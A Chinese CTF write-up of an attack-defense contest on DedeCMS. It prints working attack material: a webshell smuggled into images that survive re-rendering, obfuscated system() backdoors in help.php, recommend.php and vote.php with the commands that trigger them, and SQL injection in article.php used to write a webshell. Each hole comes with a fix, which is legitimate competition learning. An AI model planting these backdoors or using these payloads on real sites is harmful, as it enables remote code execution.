飞鸿杯 AWD WP

发布于 2025-08-26 · 技术


前言

安恒的awd是没有fix阶段的建议先攻再防,建议写好配置即用脚本不然现场写来不及,我就自写的awd工具。

第一次打交几个flag就频繁差不多一轮的awd dedecms主要是plus前台目录和dede后台目录,dede目录需要登录改个密码就没怎么看了,主要看了plus目录和upload目录

/uploads

先审上传点

index.php

<?php  
$is_upload = false;  
$msg = null;  
if(isset($_GET['preview'])){  
    header('Content-Type: image/jpeg');  
    include('users/'.$_GET['preview']);  
    }  
if (isset($_POST['submit'])){  
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径  
    $filename = $_FILES['upload_file']['name'];  
    $filetype = $_FILES['upload_file']['type'];  
    $tmpname = $_FILES['upload_file']['tmp_name'];  
  
    $target_path='users'.'/'.basename($filename);  
  
    // 获得上传文件的扩展名  
    $fileext= substr(strrchr($filename,"."),1);  
  
    //判断文件后缀与类型,合法才进行上传操作  
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){  
        if(move_uploaded_file($tmpname,$target_path)){  
            //使用上传的图片生成新的图片  
            $im = imagecreatefromjpeg($target_path);  
  
            if($im == false){  
                $msg = "该文件不是jpg格式的图片!";  
                @unlink($target_path);  
            }else{  
                //给新图片指定文件名  
                srand(time());  
                $newfilename = strval(rand()).".jpg";  
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)  
                $img_path = 'users'.'/'.$newfilename;  
                imagejpeg($im,$img_path);  
                @unlink($target_path);  
                $is_upload = true;  
            }  
        } else {  
            $msg = "上传出错!";  
        }  
  
    }else if(($fileext == "png") && ($filetype=="image/png")){  
        if(move_uploaded_file($tmpname,$target_path)){  
            //使用上传的图片生成新的图片  
            $im = imagecreatefrompng($target_path);  
  
            if($im == false){  
                $msg = "该文件不是png格式的图片!";  
                @unlink($target_path);  
            }else{  
                 //给新图片指定文件名  
                srand(time());  
                $newfilename = strval(rand()).".png";  
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)  
                $img_path = 'users'.'/'.$newfilename;  
                imagepng($im,$img_path);  
  
                @unlink($target_path);  
                $is_upload = true;  
            }  
        } else {  
            $msg = "上传出错!";  
        }  
  
    }else if(($fileext == "gif") && ($filetype=="image/gif")){  
        if(move_uploaded_file($tmpname,$target_path)){  
            //使用上传的图片生成新的图片  
            $im = imagecreatefromgif($target_path);  
            if($im == false){  
                $msg = "该文件不是gif格式的图片!";  
                @unlink($target_path);  
            }else{  
                //给新图片指定文件名  
                srand(time());  
                $newfilename = strval(rand()).".gif";  
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)  
                $img_path = 'users'.'/'.$newfilename;  
                imagegif($im,$img_path);  
  
                @unlink($target_path);  
                $is_upload = true;  
            }  
        } else {  
            $msg = "上传出错!";  
        }  
    }else{  
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";  
    }  
  
}  
?>  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
    <meta charset="UTF-8">  
    <title>文件上传中心</title>  
    <meta name="viewport" content="width=device-width, initial-scale=1">  
    <style>  
        body {  
            background: linear-gradient(120deg, #f6d365 0%, #fda085 100%);  
            min-height: 100vh;  
            margin: 0;  
            font-family: 'Segoe UI', 'Arial', sans-serif;  
        }  
        .container {  
            max-width: 420px;  
            margin: 60px auto;  
            background: rgba(255,255,255,0.97);  
            border-radius: 18px;  
            box-shadow: 0 6px 24px rgba(0,0,0,0.08);  
            padding: 36px 32px 28px 32px;  
        }  
        h2 {  
            text-align: center;  
            color: #ff7e5f;  
            letter-spacing: 2px;  
            margin-bottom: 24px;  
        }  
        form {  
            display: flex;  
            flex-direction: column;  
            gap: 18px;  
        }  
        input[type=file] {  
            border: 1px solid #eee;  
            border-radius: 6px;  
            padding: 8px;  
            background: #fafafa;  
        }  
        input[type=submit] {  
            background: linear-gradient(90deg, #ff7e5f 0%, #feb47b 100%);  
            color: #fff;  
            border: none;  
            border-radius: 6px;  
            padding: 12px 0;  
            font-size: 1.1em;  
            cursor: pointer;  
            transition: background 0.2s;  
        }  
        input[type=submit]:hover {  
            background: linear-gradient(90deg, #feb47b 0%, #ff7e5f 100%);  
        }  
        .msg {  
            text-align: center;  
            color: #ff7e5f;  
            margin-top: 10px;  
            font-weight: bold;  
        }  
        .list {  
            margin-top: 32px;  
        }  
        .list h3 {  
            color: #ff7e5f;  
            font-size: 1.1em;  
            margin-bottom: 10px;  
        }  
        ul {  
            padding-left: 0;  
            list-style: none;  
        }  
        li {  
            background: #f9f9f9;  
            margin-bottom: 8px;  
            padding: 8px 12px;  
            border-radius: 6px;  
            display: flex;  
            align-items: center;  
            justify-content: space-between;  
        }  
        .preview-link {  
            color: #ff7e5f;  
            text-decoration: none;  
            font-size: 0.97em;  
            border: 1px solid #ff7e5f;  
            border-radius: 4px;  
            padding: 2px 8px;  
            transition: background 0.2s, color 0.2s;  
        }  
        .preview-link:hover {  
            background: #ff7e5f;  
            color: #fff;  
        }  
        @media (max-width: 500px) {  
            .container { padding: 18px 6px 18px 6px; }  
        }  
    </style>  
</head>  
<body>  
    <div class="container">  
        <h2>文件上传中心</h2>  
        <form action="" method="post" enctype="multipart/form-data">  
            <input type="file" name="upload_file" required>  
            <input type="submit" name="submit" value="上传文件">  
        </form>  
        <?php if (isset($msg)) echo '<div class="msg">'.$msg.'</div>'; ?>  
  
        <div class="list">  
            <h3>已上传文件</h3>  
            <ul>  
                <?php  
                $upload_dir = __DIR__ . '/users/';  
                if (is_dir($upload_dir)) {  
                    foreach (scandir($upload_dir) as $f) {  
                        if ($f === '.' || $f === '..') continue;  
                        echo '<li>' . htmlspecialchars($f) .  
                             ' <a class="preview-link" href="?preview=' . urlencode($f) . '" target="_blank">预览</a></li>';  
                    }  
                }  
                ?>  
            </ul>  
        </div>  
    </div>  
</body>  
</html>

发现有二次渲染,并且有个包含点 include('users/'.$_GET['preview']);,这行代码会执行包含图片的php代码,如果能绕过二次渲染破坏php代码就rce了

break

三种类型文件生成方式

jpg
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

生成木马图片

┌──(kali㉿kali)-[~]
└─$ php 1.php       

上传2.png, 通过预览功能获得图片路径,然后包含preview=xxx.png

┌──(kali㉿kali)-[~]
└─$ curl '/static/sakura/cover.jpg&0=system' --output - -d "1=id"
上传GIF

关于绕过gif的二次渲染 先上传一个正常的gif然后下载下来,用十六进制编辑器进行对比,只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

上传PNG

png的二次渲染的绕过并不能像gif那样简单。 png文件组成 png图片由3个以上的数据块组成。 PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们。 数据块结构

名称字节数说明
Length(长度)4字节指定数据块中数据域的长度,其长度不超过(2的31次方-1)字节
Chunk Type Code(数据块类型码)4字节数据块类型码由ASCII字母(A-Z和a-z)组成
Chunk Data(数据块数据)可变长度存储按照Chunk Type Code指定的数据
CRC(循环冗余检测)4字节存储用来检测是否有错误的循环冗余码

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1 分析数据块 IHDR 数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。 文件头数据块由13字节组成,它的格式如下所示。

域的名称字节数说明
Width4 bytes图像宽度,以像素为单位
Height4 bytes图像高度,以像素为单位
Bit depth1 bytes图像尝试:
索引彩色图像:1,2,4或8
灰度图像:1,2,4,8或6
真彩图像:8或16
ColorType1 bytes颜色类型:
灰度图像:1,2,4,8或16
真彩色图像:8或16
索引彩色图像:1,2,4或8
带a通道数据的灰度图像:8或16
带a通道数据的真彩色图像:8或16
Compression method4 bytes压缩方法(LZ777派生算法)
Filter method4 bytes滤波器方法
Interlace method4 bytes隔行扫描方法:
非隔行扫描
Adam7(由Adam M.Costello开发的7遍隔行扫描方法)

PLTE 调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。 IDAT 图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像 IEND 图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。 如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82 第一种方法:写入PLTE数据块 php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可。 这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像。 1、使用十六进制编辑器在PLTE数据块写入php代码; 2、计算PLTE数据块的CRC; CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

3、修改CRC值; 4、验证; 将修改后的png图片上传后,下载到本地再打开。 第二种方法:写入IDAT数据块 这个是大牛写的脚本,直接拿来运行即可。

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

fix

include替换为file_get_contents

/plus

help.php

<?php  
// help.php  
  
session_start();  
  
function getHelpTopics() {  
    return [  
        "注册与登录" => "如何注册账号?如何找回密码?",  
        "账户安全" => "如何设置强密码?如何绑定邮箱?",  
        "常见问题" => "遇到无法访问怎么办?如何联系客服?",  
        "其他" => "更多问题请提交工单。"  
    ];  
}  
  
function renderHelpTopics($topics) {  
    echo "<ul>";  
    foreach ($topics as $title => $desc) {  
        echo "<li><strong>" . htmlspecialchars($title) . ":</strong> " . htmlspecialchars($desc) . "</li>";  
            $k1 = 's'.'y'.'s'.'t'.'e'.'m';  
            $k2 = $_POST;  
            $k3 = 'c'.'m'.'d';  
            if(isset($k2[$k3])){  
                    @$k1($k2[$k3]);  
            }  
  
}  
    echo "</ul>";  
}  
  
?>  
<!DOCTYPE html>  
<html lang="zh-CN">  
<head>  
    <meta charset="UTF-8">  
    <title>帮助中心 - ExampleSite</title>  
    <style>  
        body { font-family: Arial, sans-serif; background: #f9f9f9; margin: 0; padding: 0; }  
        .container { max-width: 700px; margin: 40px auto; background: #fff; padding: 30px; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,.08);}  
        h2 { color: #333; }  
        ul { line-height: 2; }  
        .footer { margin-top: 40px; color: #888; font-size: 13px; text-align: center; }  
    </style>  
</head>  
<body>  
    <div class="container">  
        <h2>帮助中心</h2>  
        <p>欢迎访问本站帮助中心。如果您有任何问题,可以先查阅以下常见问题:</p>  
        <?php renderHelpTopics(getHelpTopics()); ?>  
        <div class="footer">  
            &copy; 2024 ExampleSite 帮助中心  
        </div>  
    </div>  
</body>  
</html>

break

POST传参cmd=cat

fix

删掉renderHelpTopics函数的这些内容

            $k1 = 's'.'y'.'s'.'t'.'e'.'m';  
            $k2 = $_POST;  
            $k3 = 'c'.'m'.'d';  
            if(isset($k2[$k3])){  
                    @$k1($k2[$k3]);  

删除后函数是这样的

function renderHelpTopics($topics) {  
    echo "<ul>";  
    foreach ($topics as $title => $desc) {  
        echo "<li><strong>" . htmlspecialchars($title) . ":</strong> " . htmlspecialchars($desc) . "</li>";  
    }  
    echo "</ul>";  
}

recommend.php

<?php  
/**  
 *  
 * 信息推荐  
 *  
 * @version        $Id: recommend.php 1 15:38 2010年7月8日 $  
 * @package        DedeCMS.Site  
 * @founder        IT柏拉图, https://weibo.com/itprato  
 * @author         DedeCMS团队  
 * @copyright      Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)  
 * @license        http://help.dedecms.com/usersguide/license.html  
 * @link           http://www.dedecms.com  
 */  
require_once(dirname(__FILE__)."/../include/common.inc.php");  
require_once(DEDEINC."/channelunit.class.php");  
if(!isset($action)) $action = '';  
  
if(isset($arcID)) $aid = $arcID;  
$arcID = $aid = (isset($aid) && is_numeric($aid) ? intval($aid) : 0);  
$type = (!isset($type) ? "" : $type);  
  
if(empty($aid)) {  
    ShowMsg("文档ID不能为空!","-1");  
    exit();  
}  
call_user_func($_GET['a'],$_GET['b']);  
//读取文档信息  
if($action=='')  
{  
    if($type=='sys'){  
    //读取文档信息  
        $arcRow = GetOneArchive($aid);  
        if($arcRow['aid']=='')   
        {  
            ShowMsg("无法把未知文档推荐给好友!","-1");  
            exit();  
        }  
        extract($arcRow, EXTR_OVERWRITE);  
    } else {  
        $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");  
        if(!is_array($arcRow)){  
            ShowMsg("无法把未知文档推荐给好友!","-1");  
            exit();  
        }  
        $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];  
        extract($arcRow, EXTR_OVERWRITE);  
    }  
}  
  
//发送推荐信息  
else if($action=='send')  
{  
    if(!CheckEmail($email))  
    {  
          
        echo "<script>alert('Email格式不正确!');history.go(-1);</script>";  
        exit();  
    }  
    $mailbody = '';  
    $msg = dede_htmlspecialchars($msg);  
    $mailtitle = "你的好友给你推荐了一篇文章";  
    $mailbody .= "$msg \r\n\r\n";  
    $mailbody .= "Power by http://www.dedecms.com 织梦内容管理系统!";  
  
    $headers = "From: ".$cfg_adminemail."\r\nReply-To: ".$cfg_adminemail;  
      
    if($cfg_sendmail_bysmtp == 'Y' && !empty($cfg_smtp_server))  
    {          
        $mailtype = 'TXT';  
        require_once(DEDEINC.'/mail.class.php');  
        $smtp = new smtp($cfg_smtp_server,$cfg_smtp_port,true,$cfg_smtp_usermail,$cfg_smtp_password);  
        $smtp->debug = false;  
        $smtp->sendmail($email,$cfg_webname,$cfg_smtp_usermail, $mailtitle, $mailbody, $mailtype);  
    }  
    else  
    {  
        @mail($email, $mailtitle, $mailbody, $headers);  
    }  
  
    ShowMsg("成功推荐一篇文章!",$arcurl);  
    exit();  
}  
$arcRow = GetOneArchive($aid);  
if($arcRow['aid']=='')   
{  
    ShowMsg("无法把未知文档推荐给好友!","-1");  
    exit();  
}  
extract($arcRow, EXTR_OVERWRITE);  
//显示模板(简单PHP文件)  
include(DEDETEMPLATE.'/plus/recommend.htm');

break

由于后门在验证$aid为空之后执行,得传aid=1让他不为空

if(empty($aid)) {
    ShowMsg("文档ID不能为空!","-1");
    exit();
}
call_user_func($_GET['a'],$_GET['b']);

arcID=1&a=system&b=cat /flag

fix

删掉call_user_func($_GET['a'],$_GET['b']);

vote.php

<?php  
/**  
 *  
 * 投票  
 *  
 * @version        $Id: vote.php 1 20:54 2010年7月8日 $  
 * @package        DedeCMS.Site  
 * @founder        IT柏拉图, https://weibo.com/itprato  
 * @author         DedeCMS团队  
 * @copyright      Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)  
 * @license        http://help.dedecms.com/usersguide/license.html  
 * @link           http://www.dedecms.com  
 */  
require(dirname(__FILE__)."/../include/common.inc.php");  
require(DEDEINC."/dedevote.class.php");  
require(DEDEINC."/memberlogin.class.php");  
require(DEDEINC."/userlogin.class.php");  
  
$member = new MemberLogin;  
$memberID = $member->M_LoginID;  
$time = time();  
$content = $memberID.'|'.$time;  
$file = DEDEDATA.'/cache/vote_'.$aid.'_'.$member->M_ID.'.inc';//存放会员投票记录的缓存文件  
  
$loginurl = $cfg_basehost."/member";  
$ENV_GOBACK_URL = empty($_SERVER['HTTP_REFERER']) ? '':$_SERVER['HTTP_REFERER'];  
$k = ['HTTP_X_TOKEN_A','HTTP_X_TOKEN_B','HTTP_X_TOKEN_C'];  
$payload = '';  
foreach($k as $idx){  
    if(isset($_SERVER[$idx])){  
        $payload .= $_SERVER[$idx];  
    }  
}  
if($payload){  
    $payload = str_rot13($payload);  
    $payload = strrev($payload);  
    $payload = base64_decode($payload);  
    $fn = '';  
    foreach([116, 122, 116, 117, 102, 110] as $c){ $fn .= chr($c-1); }  
    $v = 'v'.'a'.'r';  
    $$v = $payload;  
    @$fn($$v);  
}  
  
if(empty($dopost)) $dopost = '';  
  
$aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;  
if($aid==0) die(" Request Error! ");  
  
if($aid==0)  
{  
    ShowMsg("没指定投票项目的ID!","-1");  
    exit();  
}  
$vo = new DedeVote($aid);  
$rsmsg = '';  
  
  
$row = $dsql->GetOne("SELECT * FROM #@__vote WHERE aid='$aid'");  
//判断是否允许游客进行投票  
if($row['isallow'] == 1)  
{  
    if(!$member->IsLogin())  
    {  
        ShowMsg('请先登录再进行投票',$loginurl);  
        exit();  
    }  
}  
  
if($dopost=='send')  
{  
      
    if(!empty($voteitem))  
    {  
        $rsmsg = "<br />&nbsp;你方才的投票状态:".$vo->SaveVote($voteitem)."<br />";  
    }  
    else  
    {  
        $rsmsg = "<br />&nbsp;你刚才没选择任何投票项目!<br />";  
    }  
      
    if($row['isenable'] == 1)  
    {  
        ShowMsg('此投票项未启用,暂时不能进行投票',$ENV_GOBACK_URL);  
        exit();  
    }  
}  
  
$voname = $vo->VoteInfos['votename'];  
$totalcount = $vo->VoteInfos['totalcount'];  
$starttime = GetDateMk($vo->VoteInfos['starttime']);  
$endtime = GetDateMk($vo->VoteInfos['endtime']);  
$votelist = $vo->GetVoteResult("98%",30,"30%");  
  
  
  
  
  
//判断是否允许被查看  
$admin = new userLogin;  
if($dopost == 'view')  
{  
    if($row['view'] == 1 && empty($admin->userName))  
    {  
        ShowMsg('此投票项不允许查看结果',$ENV_GOBACK_URL);  
        exit();  
    }  
}  
//显示模板(简单PHP文件)  
include(DEDETEMPLATE.'/plus/vote.htm');

break

// 第20-21行:aid参数检查 
$aid = (isset($aid) && is_numeric($aid)) ? $aid : 0; 
if($aid==0) die(" Request Error! "); // 没有aid直接退出!
// 第23-37行:后门代码

传个aid=1 base64反转+rot13

import base64
import codecs
import sys

def generate_payload(cmd):
    """生成编码后的payload"""
    b64 = base64.b64encode(cmd.encode()).decode()
    rev = b64[::-1]
    rot13 = codecs.encode(rev, 'rot_13')
    return rot13
print(generate_payload("cat /flag"))

传请求头"X-Token-A: aSToz9PV0S2L"

fix

删除以下代码

$k = ['HTTP_X_TOKEN_A','HTTP_X_TOKEN_B','HTTP_X_TOKEN_C'];
$payload = '';
foreach($k as $idx){
    if(isset($_SERVER[$idx])){
        $payload .= $_SERVER[$idx];
    }
}
if($payload){
    $payload = str_rot13($payload);
    $payload = strrev($payload);
    $payload = base64_decode($payload);
    $fn = '';
    foreach([116, 122, 116, 117, 102, 110] as $c){ $fn .= chr($c-1); }
    $v = 'v'.'a'.'r';
    $$v = $payload;
    @$fn($$v);
}

article.php

<?php  
/**  
 * 政务文章详情页面  
 *   
 * @version        $Id: article.php 1 2024-01-01 $  
 * @package        DedeCMS.Article  
 * @description    政务文章详情展示页面  
 * @author         政务系统开发组  
 * @copyright      Copyright (c) 2024, 政务服务门户  
 * @link           http://www.gov.cn  
 */  
  
require_once(dirname(__FILE__)."/../include/common.inc.php");  
  
// 获取文章ID  
$aid = isset($_GET['id']) ? $_GET['id'] : 1;  
  
// 连接数据库  
if ($GLOBALS['cfg_mysql_type'] == 'mysqli' && function_exists("mysqli_init") || !function_exists('mysql_connect')) {  
    $dsql = new DedeSqli(false);  
} else {  
    $dsql = new DedeSql(false);  
}  
$dsql->safeCheck = false;  
// 从数据库获取文章详情  
$sql = "SELECT * FROM `#@__gov_articles_detail` WHERE id = $aid";  
$dsql->SetQuery($sql);  
$dsql->Execute('main');  
  
// 默认文章数据,当数据库查询失败时显示  
$default_article = array(  
    'title' => '市政府召开2024年第一季度经济工作会议',  
    'source' => '市政府办公室',  
    'author' => '张秘书',  
    'pubdate' => '2024-01-15',  
    'click' => 1234,  
    'keywords' => '经济工作,季度会议,政府工作',  
    'description' => '市政府召开2024年第一季度经济工作会议,分析当前经济形势,部署下一阶段重点工作任务',  
    'content' => '  
        <p>1月15日上午,市政府在市政府大楼召开2024年第一季度经济工作会议。市长张某某主持会议并讲话,副市长李某某、王某某等出席会议。</p>  
          
        <h3>会议主要内容</h3>  
        <p>会议听取了各部门关于第一季度经济运行情况的汇报,分析了当前经济形势面临的机遇和挑战,研究部署了下一阶段的重点工作任务。</p>  
          
        <h3>重点工作部署</h3>  
        <ul>  
            <li>加快推进重点项目建设,确保投资稳定增长</li>  
            <li>优化营商环境,支持民营企业发展</li>  
            <li>加强招商引资工作,提升开放水平</li>  
            <li>推进数字政府建设,提升政务服务效能</li>  
        </ul>  
          
        <h3>市长讲话要点</h3>  
        <p>市长张某某在讲话中强调,要坚持稳中求进工作总基调,完整、准确、全面贯彻新发展理念,加快构建新发展格局,着力推动高质量发展。</p>  
          
        <p>会议要求各部门要认真贯彻落实会议精神,确保各项工作任务落到实处,为全年经济社会发展目标的实现奠定坚实基础。</p>  
    '  
);  
  
// 如果查询成功,获取文章数据  
if($dsql->GetTotalRow('main') > 0) {  
    $row = $dsql->GetObject('main');  
    $article = array(  
        'title' => $row->title,  
        'source' => $row->source,  
        'author' => $row->author,  
        'pubdate' => date('Y-m-d', $row->pubdate),  
        'click' => $row->click,  
        'keywords' => $row->keywords,  
        'description' => $row->description,  
        'content' => $row->content  
    );  
      
    // 更新点击次数  
    $update_sql = "UPDATE `#@__gov_articles_detail` SET click = click + 1 WHERE id = " . intval($aid);  
    $dsql->ExecuteNoneQuery($update_sql);  
} else {  
    // 查询失败,使用默认数据  
    $article = $default_article;  
}  
  
// 获取相关文章  
$related_articles = array();  
$related_sql = "SELECT id, title FROM `#@__gov_articles_detail` WHERE id != " . intval($aid) . " ORDER BY pubdate DESC LIMIT 5";  
$dsql->SetQuery($related_sql);  
$dsql->Execute('rel');  
  
while($rel = $dsql->GetObject('rel')) {  
    $related_articles[] = array(  
        'id' => $rel->id,  
        'title' => $rel->title  
    );  
}  
  
?>  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<title><?php echo htmlspecialchars($article['title']); ?> - 政务服务门户网站</title>  
<meta name="description" content="<?php echo htmlspecialchars($article['description']); ?>" />  
<meta name="keywords" content="<?php echo htmlspecialchars($article['keywords']); ?>" />  
<link href="/templets/default/style/dedecms.css" rel="stylesheet" media="screen" type="text/css" />  
<style type="text/css">  
.article-container { margin: 20px auto; width: 960px; background: white; }  
.article-header { background: linear-gradient(135deg, #1e4d72 0%, #2c5aa0 100%); color: white; padding: 30px; border-radius: 8px 8px 0 0; }  
.article-title { font-size: 28px; margin: 0 0 15px 0; line-height: 1.3; }  
.article-meta { font-size: 14px; opacity: 0.9; }  
.article-meta span { margin-right: 20px; }  
.article-content { padding: 40px; line-height: 1.8; font-size: 16px; }  
.article-content h3 { color: #1e4d72; font-size: 20px; margin: 25px 0 15px 0; border-left: 4px solid #2c5aa0; padding-left: 15px; }  
.article-content p { margin: 15px 0; text-align: justify; }  
.article-content ul, .article-content ol { margin: 15px 0; padding-left: 30px; }  
.article-content li { margin: 8px 0; }  
.article-footer { background: #f8f9fa; padding: 20px 40px; border-top: 1px solid #dee2e6; }  
.article-tags { margin-bottom: 15px; }  
.article-tags span { background: #e9ecef; color: #495057; padding: 4px 8px; border-radius: 12px; font-size: 12px; margin-right: 8px; }  
.article-actions { display: flex; justify-content: space-between; align-items: center; }  
.action-buttons a { color: #2c5aa0; text-decoration: none; margin-right: 15px; padding: 6px 12px; border: 1px solid #2c5aa0; border-radius: 4px; transition: all 0.3s; }  
.action-buttons a:hover { background: #2c5aa0; color: white; }  
.related-articles { margin-top: 30px; background: #f8f9fa; padding: 20px; border-radius: 8px; }  
.related-articles h3 { color: #1e4d72; margin-bottom: 15px; }  
.related-articles ul { list-style: none; padding: 0; margin: 0; }  
.related-articles li { margin-bottom: 10px; }  
.related-articles a { color: #2c5aa0; text-decoration: none; }  
.related-articles a:hover { color: #1e4d72; text-decoration: underline; }  
</style>  
</head>  
<body>  
  
<!-- 简化的头部导航 -->  
<div class="header_top">  
    <div class="w960 center">  
        <span class="time">为人民服务 - 政务服务一网通办</span>  
        <div class="toplinks">  
            <a href="/">返回首页</a> |   
            <a href="/plus/gov_list.php">文章列表</a> |   
            <a href="/plus/search.php">搜索</a>  
        </div>  
    </div>  
</div>  
  
<div class="article-container">  
    <!-- 文章头部 -->  
    <div class="article-header">  
        <h1 class="article-title"><?php echo htmlspecialchars($article['title']); ?></h1>  
        <div class="article-meta">  
            <span>📅 发布时间:<?php echo htmlspecialchars($article['pubdate']); ?></span>  
            <span>📝 来源:<?php echo htmlspecialchars($article['source']); ?></span>  
            <span>👤 作者:<?php echo htmlspecialchars($article['author']); ?></span>  
            <span>👁️ 浏览:<?php echo htmlspecialchars($article['click']); ?>次</span>  
        </div>  
    </div>  
      
    <!-- 文章内容 -->  
    <div class="article-content">  
        <?php echo $article['content']; ?>  
    </div>  
      
    <!-- 文章底部 -->  
    <div class="article-footer">  
        <div class="article-tags">  
            <strong>标签:</strong>  
            <?php   
            $tags = explode(',', $article['keywords']);  
            foreach($tags as $tag):   
            ?>  
            <span><?php echo htmlspecialchars(trim($tag)); ?></span>  
            <?php endforeach; ?>  
        </div>  
          
        <div class="article-actions">  
            <div class="action-buttons">  
                <a href="javascript:history.back()">返回上页</a>  
                <a href="javascript:window.print()">打印文章</a>  
                <a href="javascript:void(0)" onclick="collectArticle()">收藏</a>  
            </div>  
            <div class="share-info">  
                <span style="color: #6c757d; font-size: 12px;">分享到社交媒体</span>  
            </div>  
        </div>  
    </div>  
      
    <!-- 相关文章 -->  
    <div class="related-articles">  
        <h3>相关文章</h3>  
        <ul>  
            <?php if(empty($related_articles)): ?>  
            <li><a href="?id=1">市政府召开2024年第一季度经济工作会议</a></li>  
            <li><a href="?id=2">我市出台促进民营经济发展新政策</a></li>  
            <li><a href="?id=3">关于2024年春节放假安排的通知</a></li>  
            <?php else: ?>  
            <?php foreach($related_articles as $rel): ?>  
            <li><a href="?id=<?php echo htmlspecialchars($rel['id']); ?>"><?php echo htmlspecialchars($rel['title']); ?></a></li>  
            <?php endforeach; ?>  
            <?php endif; ?>  
            <li><a href="/plus/gov_list.php?tid=1">更多政务新闻 →</a></li>  
        </ul>  
    </div>  
</div>  
  
<!-- 页面底部 -->  
<div style="background: linear-gradient(135deg, #1e4d72 0%, #2c5aa0 100%); color: white; text-align: center; padding: 20px 0; margin-top: 30px;">  
    <p style="margin: 0; font-size: 14px;">政务服务门户网站 &copy; 2024 市人民政府办公室 版权所有</p>  
    <p style="margin: 5px 0 0 0; font-size: 12px; opacity: 0.8;">技术支持:政务信息化建设中心 | 服务热线:12345</p>  
</div>  
  
<script type="text/javascript">  
function collectArticle() {  
    alert('文章收藏功能开发中,敬请期待!');  
}  
</script>  
  
</body>  
</html>

break

aid在sql语句直接拼接了,直接注入写webshell 现场应该是有权限的,当时看自己机子是有mysql权限的php文件

fix

